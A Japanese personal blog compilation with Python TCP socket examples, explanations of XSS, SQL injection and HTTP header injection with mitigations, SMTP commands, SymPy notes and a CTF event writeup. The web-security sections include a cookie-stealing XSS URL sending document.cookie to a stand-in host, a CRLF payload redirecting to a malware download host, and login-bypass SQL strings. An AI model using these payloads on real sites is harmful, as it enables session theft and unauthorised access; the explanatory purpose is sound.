python2でのTCPサーバとクライアントの作成

TCP Serverのソースコード

import socket 
import threading 

SERVER_IP = "0.0.0.0" 
SERVER_PORT = 8080 

# Create socket object (AF_INET -> IPv4 , SOCK_STREAM -> TCP) 
s_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

# Binding ip and port 
s_sock.bind((SERVER_IP, SERVER_PORT)) 

# Number of connection queue 
s_sock.listen(5) 

print "[*] Server listening | %s:%d" % (SERVER_IP,SERVER_PORT) 

def client_handler(c_sock): 
req = c_sock.recv(4096) 
print "[*] Request | %s" % req 

res = "Server ACK" 
c_sock.send(res) 
print "[*] Response | %s" % res 

c_sock.close() 

while True: 
client,addr = s_sock.accept() 
print "[*] Connection | %s:%d" % (addr[0],addr[1]) 

client_handler_thread = threading.Thread(target=client_handler, args=(client,)) 
client_handler_thread.start()

TCP Clientのソースコード

import socket

host = "0.0.0.0"
port = 8080

# Create socket object
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Establish TCP connection
client.connect((host, port))

# Data send
client.send("HELLO")

# Data receive
data = client.recv(4096)

print data

実験

Client側

root@kali:~/Desktop# python2 tcp_client.py
Server ACK
root@kali:~/Desktop# python2 tcp_client.py
Server ACK
root@kali:~/Desktop# python2 tcp_client.py
Server ACK

Server側

[*] Server listening | 0.0.0.0:8080
[*] Connection | 127.0.0.1:41096
[*] Request | HELLO
[*] Response | Server ACK
[*] Connection | 127.0.0.1:41098
[*] Request | HELLO
[*] Response | Server ACK
[*] Connection | 127.0.0.1:41100
[*] Request | HELLO
[*] Response | Server ACK

参考書籍

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考

Cross-site Scripting(XSS)について

XSSとは

XSSとは,攻撃者が仕掛けたJavaScriptコード等が,他人のWebサイト上で実行される脆弱性です.攻撃側が直接対象に対して攻撃を行うのではなく,対象が罠に引っかかるようにしておき,その罠が実行されるのを待つという受動型攻撃にあたります.

 

XSSによるCookie値の読み出し

掲示板型アプリケーションを想定します.ユーザが入力した内容は,クエリストリングによりサーバに伝達され,そのまま(エスケープされることなく)HTML上に表示されるものとします.

 

この時,例えば「Hello」と入力し投稿を行うと以下のようなURLが生成されます.

http://example.com/index.php?data=hello

 

ここで,以下のようなURLを用意します.

http://example.com/index.php?data=<script>window.location='http://sniffing_cookie.com/?'%2bdocument.cookie;</script>

 

このURLにアクセスしたユーザは,何も知らないうちに

<script>window.location='http://sniffing_cookie.com/?PHPSESSID=123456789...;

 

のような内容を書き込んでしまいます.これが掲示板上に投稿された結果,攻撃者の仕掛けたURLに対して,cookie値をクエリストリングにセットしたアクセスが行われてしまいます.

 

DOM based XSS

以前の例は,サーバ上で組み立てられたHTMLをクライアント側で表示した際に発生するXSSでした.しかし,近頃はJavaScript等によってフロントエンドにて動的にHTMLが組み立てられるページが多く存在しています.このような,フロントエンドにてHTMLを組み立てる際のスクリプトを利用したXSSをDOM based XSSと呼びます.

一般的なXSSとは異なり,サーバ等でのXSS混入の有無を確かめるのは困難になります.

 

SourceとSink

Sourceとは,DOM based XSSを行う上でスクリプトを注入箇所になりやすいところを意味し,Sinkとは,その結果DOM based XSSが発生してしまう原因となる箇所を意味します.

つまり,Sourceにて注入されたJavaScriptが,何らかの処理を施された後に,Sinkに渡ったデータによってXSSが顕在化するということになります.

Source 

location.href(ページのURL)

location.search(クエリストリングの内容)

location.hash(フラグメントの内容) 

document.cookie

document.referrer(参照元ページ)

localStorage

 Sink

Element.innerHTML

document.write

eval

location.href

 

XSSへの対策

Sinkとなる要素をなるべく用いない

例えば,innerHTMLではなく,文字列としてしか認識されないtextContentを用いることで,スクリプトの実行を阻止することができます.

適切なエスケープ

そもそも <> や "" といった特殊な意味を持った記号の注入を防ぐことができれば,スクリプトを注入することが困難になります.また,入力時ではなくても,それが表示される際にレンダリングを行うことでエスケープさせるといった手法も有効です.

 

参考 : JavaScriptセキュリティの基礎知識:連載|gihyo.jp … 技術評論社

Webアプリケーションにおける脆弱性(Injection編)

SQLインジェクション

SQLインジェクションは,ユーザからの入力に基づいてデータベースに対してクエリを発行するWebアプリケーションにおいて発生し得る脆弱性です.

入力フォーム等から不正な値を注入することで,本来意図されていない動作を引き起こすことが可能になってしまいます.

例えば,2つの入力フォームから,それぞれIDとパスワードを入力し,その入力内容を基にSQL文を発行するアプリケーションを想定します.IDが変数$id,パスワードが変数#passwdに格納されるとき,以下のようなSQL文が発行され,結果が1件でも返却されればログイン成功となります.

SELECT * FROM user_table WHERE id = '$id' and passwd = '$passwd';

 

本来であれば,適切な値が入力(以下の例)されるはずです.

$id <- hogehoge
$passwd <- hugahuga

SELECT * FROM user_table WHERE id = 'hogehoge' and passwd = 'hugahuga';

 

ここで, パスワードを「hugahuga」から「a' OR '1' = '1」に変更します.この時,以下のようなSQL文が発行されますが,'a' OR '1' = '1'は常にTrueとなるため,任意のidに対するログインが可能になります.

 

$id <- hogehoge
$passwd <- a' OR '1' = '1

SELECT * FROM user_table WHERE id = 'hogehoge ' and passwd = 'a' OR '1' = '1';

他にも,idにUNION句を挿入することで,他テーブルの構造や内容を把握したり,--や#によるコメントアウトを行うことで,認証をバイパスしたりすることが可能になります.

これらの脆弱性は,適切なエスケープ処理を行うことやPrepared Statementを用いることで緩和させることができます.

 

HTTP ヘッダインジェクション

一般的に,HTTP RequestとHTTP Responseは以下のような形式をとります.

HTTP Request

GET /index.html HTTP/1.1
Host: www.examplem
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: ja

 

HTTP Response

HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html;

...
Connection: keep-alive

 

<!DOCTYPE html>
<html lang="ja">
...
</html>

 HTTP Responseは,途中の空行を区切りとしてヘッダー部とボディ部を認識します.HTTPヘッダインジェクションとは,このヘッダ部分に意図的に不正な値を注入することで意図しない動作を引き起こさせる脆弱性です.

 

例えば,URL中のクエリストリングを用いてページ番号を指定することで,強制的に画面遷移を行うWebアプリケーションを想定します.

 HTTP Request(URL)

http://www.example.com/index.html?page=123 

正当な 

HTTP Response

HTTP/1.1 302 Found

Date: ...

Server: ...

Location: http://www.example.com/123

Content=length: 1024

 

<!doctype html>

<html>

...

</html> 

 

ここで,クエリストリングに「%0d%0aLocation:%20http://download.malware.com」と入力すると以下のようになります.(%0d%0aはCRLF改行コードを,%20はスペースをパーセントエンコーディングしたものです.)

 HTTP Request(URL)

http://www.example.com/index.html?page=%0d%0aLocation:%20http://download.malware.com 

不正な 

HTTP Response

HTTP/1.1 302 Found

Date: ...

Server: ...

Location: http://www.example.com/

Location: http://download.malware.com

Content=length: 1024

 

<!doctype html>

<html>

...

</html> 

以上の入力によって,HTTP Response内にLocationフィールドが重複して存在するようになります.しかし,Apache等のWebサーバは最後尾のフィールドのみを認識するようになっているので,結果として不正なURLに対して遷移が行われるようになります.

この手法を応用することで,任意のHTTP Responseを生成するHTTP Response Splittingを行うことも可能になります.

SMTPの通信方式・コマンドについて

 SMTP (Simple Mail Transfer Protocol) は,電子メールの送信に用いるL7のプロトコルです.

今まではぼやっとした理解でしたが,CTFで直接SMTPコマンドを入力する問題が出題されていたので,今回はそのコマンドや通信方式について簡単に要約します.

一般的なメール送信で用いるSMTPのコマンド

nc xxx.xxx.xxx.xxx 25

メールサーバに対してポート25でアクセス 

 

HELO example.com 

HELOコマンドでクライアントを通知して通信開始

 

MAIL FROM: sender@example.com

MAIL FROMコマンドで送信元メールアドレスの通知

 

RCPT TO: receiver@example.com

RCPT TOコマンドで送信先メールアドレスの通知

 

DATA

354 go ahead 

From: sender@example.com

To: receiver@example.com

Date: 2017/07/31 22:44

Subject: Subject of mail

 

Hello!

Goodbye!

.

DATAコマンドで,実際のメールの内容を入力していきます.

354 go aheadの後に各種メールヘッダを入力した後,空行を入力します.空行がメールヘッダとメール本文の区切りの合図になります.

そして,任意の内容を入力した後,コロン1文字(.)を入力すると,それが終了の合図になります.

 

QUIT

最後にQUITコマンドで通信を正常終了します.

 

まとめ

HELO {domain name} SMTP通信の開始
MAIL FROM {mail address} 送信元メールアドレスの通知
RCPT TO {mail address} 送信先メールアドレスの通知
DATA メール内容入力開始の合図
QUIT SMTP通信の終了

 

今後

SMTP-AUTHで用いられるAUTHコマンドや,HELOコマンドの拡張版であるEHLOコマンドは拡張SMTPで定義されているらしいので,今後調査してみます.

Sympyで♥

from sympy import *

x = Symbol("x")
y = Symbol("y")

 

exp = x*x + ((y - ((x*x) ** (1/3))) ** 2) - 1
s = solve(exp, y)
p = plot(s[0], s[1], (x,-1.7, 1.7), show=False)
p[0].line_color = p[1].line_color = "#FF14A0"
p.show()

 

f:id:Szarny:20170716204102p:plain

 

Python3メモ - SymbolとFiniteSet

Sympyのインポート

from sympy import *

Sympyシンボルの生成と利用

x = Symbol("x")

y = Symbol("y")

exp = (x + y) * (x - y)

 

# 式の展開(expand)

exp.expand() # x**2 - y**2

 

# 変数への値代入

exp.subs({x:1, y:4}) # -15

二次方程式の解の公式

x = Symbol("x")
a = Symbol("a")
b = Symbol("b")
c = Symbol("c")

exp = a*x*x + b*x + c

 

# expをxについて解く
solve(exp, x) # [(-b + sqrt(-4*a*c + b**2))/(2*a), -(b + sqrt(-4*a*c + b**2))/(2*a)]

連立方程式を解く

x = Symbol("x")
y = Symbol("y")
exp1 = 2*x + 3*y - 6
exp2 = 3*x + 2*y - 12

 

# タプルとして引数に設定
solve((exp1, exp2), dict=True) # [{x:24/5,y:−6/5}]

 円の方程式(r=5)

x = Symbol("x")

y = Symbol("y")

 

# sympify関数を用いて文字列をsympy形式に変換

exp_str = "x*x + y*y - 25"
exp = sympify(exp_str)


s = solve(exp, y) # [-sqrt(-x**2 + 25), sqrt(-x**2 + 25)]

plot(s[0], s[1])

 

f:id:Szarny:20170716194507p:plain

 

集合関連

mylist = [1,2,3,4,5,5]

myset = FiniteSet(*mylist) # {1, 2, 3, 4, 5}

 

# 部分集合・真部分集合の判定

a = FiniteSet(1,2,3)

b = FiniteSet(1,2,3,4,5)

c = FiniteSet(1,2,3,4,5)

a.is_superset(b) # False (a ⊇ b)

a.is_subset(b) # True (a ⊆ b)

c.is_proper_superset(b) # False (c ⊃ b)

 

# 和・積・直積・冪集合

a = FiniteSet(1,2,3)
b = FiniteSet(2,3,4)

a.union(b) # {1, 2, 3, 4} (a ∪ b)

a.intersect(b) # {2, 3} (a ∩ b)

for element in a * b:

  element # (1, 2) (1, 3) (1, 4) (2, 2) (2, 3) (2, 4) (3, 2) (3, 3) (3, 4)

a.powerset() # {∅, {1}, {2}, {3}, {1, 2}, {1, 3}, {2, 3}, {1, 2, 3}}

 集合を用いたビット列の出力

bit = FiniteSet(0,1)

# 4つのbit集合の直積

for decimal, halfbyte in enumerate(bit ** 4):

  print(decimal, "=", halfbyte) 

# 0 = (0, 0, 0, 0)
# 1 = (0, 0, 0, 1)
# 2 = (0, 0, 1, 0)
...
# 14 = (1, 1, 1, 0)
# 15 = (1, 1, 1, 1)

SECCON Beginners 盛岡のwriteup

もうだいぶ前になりますが,6/19に盛岡情報ビジネス専門学校で開催された,SECCON Beginners 盛岡に参加してきました.

2017.seccon.jp

 以前からセキュリティについては勉強していましたが,実際に攻撃するだとかネットワークをキャプチャするだとかの方面にはほとんど手を出しておらず,内心まずいと思っていました.

そんな時にどこかで聞いたことのあったCTFのイベントが近くである,という話を聞いて早速応募しました.

今回はそのwriteupです.

1. ガイダンスと倫理

最初はCTFについてのガイダンスと実際に行うにあたっての倫理観についてでした.

何か攻撃手法を知ったりするとつい試したくなりますけど,気を付けないとダメですね.(電子計算機損壊業務妨害とか不正アクセス禁止法とかで御用になりかねない)

特に「脆弱性の発見は免罪符ではない」という戒めは記憶に新しいです.

2. Web

最初の講義はWebでした.

SQL-injection,クロスサイトスクリプティング(XSS),OS-command-injection,ディレクトリトラバーサルあたりは勉強済みで,普段Web関連の開発をしてるのでHTTP,HTML, JSあたりはスルスルと理解することができました.

今回の講義では簡単なSQL-injectionの手法が紹介されましたが(passwordに1' OR 'a' = 'a etc),後々調べてみるとBlind SQL-injectionとかunionによる結合とか,結構奥が深いんだなと思い知らされました.

今までやってきたWeb開発の中にも,様々な脆弱性が入り込んでるんじゃないかと考えると恐ろしくなります.時間に余裕ができれば徳丸本を一通りやってみたいです.

3. Forensic

Forensicの中でもネットワーク周りに重点を置いた講義でした.(他にも破損ファイルの修復やログの検査とかのジャンルがあるそう(?)です)

ネットワークも知識的な部分はカバーできていましたが,ネットワークプログラミングみなるとお手上げ状態でした.C言語とかJavaとかのネットワークプログラミングが全く理解できなかった(食わず嫌い)ので,避けてた部分がありましたが,終わった後Scapyで少しやってみたらそこまで難しくなく,パケットの自作や送受信も楽に行えたので,これから徐々に勉強していこうと思います.

その後,Wiresharkを用いたパケット解析を行って終了となりました.Scapyと組み合わせて使うとWireshark単独よりももっと詳しい解析ができていい!

4. Binary

昔から「高水準言語使ってプログラミングできればいいからアセンブリ言語とかバイナリとかは触れなくてもいいでしょ」という理由にならない理由から避けてきていましたが,実際コンパイルされた後のアセンブリ言語を1つ1つ読むと,コンピュータが裏側で何をしているのか肌で感じることができますね.

今回の講義では,x86アーキテクチャアセンブリ言語の解説と,関数呼び出し手スタックフレームに追加するときのポインタのあれこれについての解説がありました.いくつかの講義を終えて,午後の疲れてくる時間帯でしたが,資料がとても分かりやすくスイスイと進めることができました.

5. CTF

いよいよCTF本番です.

詳しい問題構成は忘れましたが,Binary Web Forensic がそれぞれ3~4問ずつだったような気がします.

WebはSQL-injectionやHTMLソースを読む問題とWebスクレイピングの問題がちらほら.が,時間の都合でWebスクレイピング問だけ解けず.以前から習得しておくべきでした.

Forensicはキャプチャ内にあるFLAGを抽出する問題と,キャプチャされた通信ログから通信内容を復元して,ファイルを開く問題でした.Basic認証が通信経路上で暗号化されないのは知っていましたが,Wiresharkで見るとモロに出ちゃうんですね.
こちらも時間がなく,通信内容の復元は断念.Wiresharkの便利なエクスポート機能を度忘れして無駄に時間を食いました( ;∀;)

Binaryは,1問も解けませんでした!
gdbで開いた瞬間,講義でチラ見したアセンブリの数倍長く,直感で後回しにしてしまいました(作問者の方には申し訳ないです<(_ _)>).後で解説を聞いてみると至極単純なプログラムで,解いておけば良かったと後悔.コツコツやってると大事なところだけが見えて来るらしいので頑張りたいです.

結果は2位の方とギリギリ差で1位でした( ^)o(^ )
最後の方に300点問題を偶然解けたのが大きかったかなと思います.頂いたステッカーは早速pcに貼付させてもらいました.

その後の懇親会もお菓子をつつきつつ,有益な話を聞くことができました.また,セキュリティやCTF関連のイベントがあれば参加しようと思います.

ありがとうございました(-人-)